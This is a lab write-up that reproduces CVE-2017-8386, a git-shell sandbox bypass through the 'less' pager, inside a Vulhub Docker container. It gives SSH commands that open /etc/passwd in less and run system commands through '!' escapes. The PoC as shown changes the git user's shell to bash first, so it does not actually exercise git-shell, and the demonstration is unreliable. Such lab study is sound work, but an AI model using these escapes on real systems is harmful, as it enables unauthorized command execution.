CVE-2017-8386: git-shell Sandbox Bypass to RCE PoC

정수진(@suz1n)

Overview

Git-shell provides an environment that only allows restricted git commands via SSH. However, in specific versions of git-shell (such as 2.12.2), a vulnerability (CVE-2017-8386) exists that exploits the less command to bypass the sandbox and execute system commands.

This report documents the PoC process for this vulnerability and summarizes the steps.

Environment Setup

Tools and Versions Used

• Docker: 24.0.7
• Docker-Compose: v2.34.0
• Host OS: macOS
• Target OS: Ubuntu 16.04 (inside container)
• Git Version: 2.12.2
• SSH Server

Clone Vulhub Repository

git clone https://github.com/phith0n/vulhub.git

cd vulhub/git/CVE-2017-8386/

docker-compose.yml and Dockerfile Configuration

• Ubuntu 16.04 base image
• Git 2.12.2 source installation
• OpenSSH server installation and execution
• git-shell environment setup (create git user)

Build and Run Container

docker-compose build

docker-compose up -d

docker ps

• Verify container is running (git-shell-cve-2017-8386)

SSH Key Registration and Environment Setup

1. Generate and copy id_rsa.pub locally
2. Access the container and switch to the git user
3. Register authorized_keys

docker exec -it git-shell-cve-2017-8386 /bin/bash

chsh -s /bin/bash git

su git

mkdir -p ~/.ssh

chmod 700 ~/.ssh

touch ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

vim ~/.ssh/authorized_keys

Install Additional Packages

apt update

apt install less -y

apt install man-db -y

• Installed less and man packages for PoC execution

PoC Process

Normal SSH Connection

ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"

• Successfully entered less screen

• Able to execute system commands via ! command

Command Execution (Sandbox Bypass)

• !id -> Display user ID and group ID

• !whoami -> Current user (git)

• !uname -a -> Display system kernel information

• !ls /home/git -> List files in git home directory

Analysis

• The git-shell environment restricts users from executing system commands.
• However, it is possible to invoke less internally via the `git-upload-archive --help` command.
• The less command supports executing system shell commands through the ! function.
• As a result, arbitrary command execution is possible by bypassing the git-shell sandbox.

References

• Insinuator Blog: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/

• Vulhub GitHub Repository: https://github.com/phith0n/vulhub

GitHub Repository Link

https://github.com/suz1n/WHS3_vulhub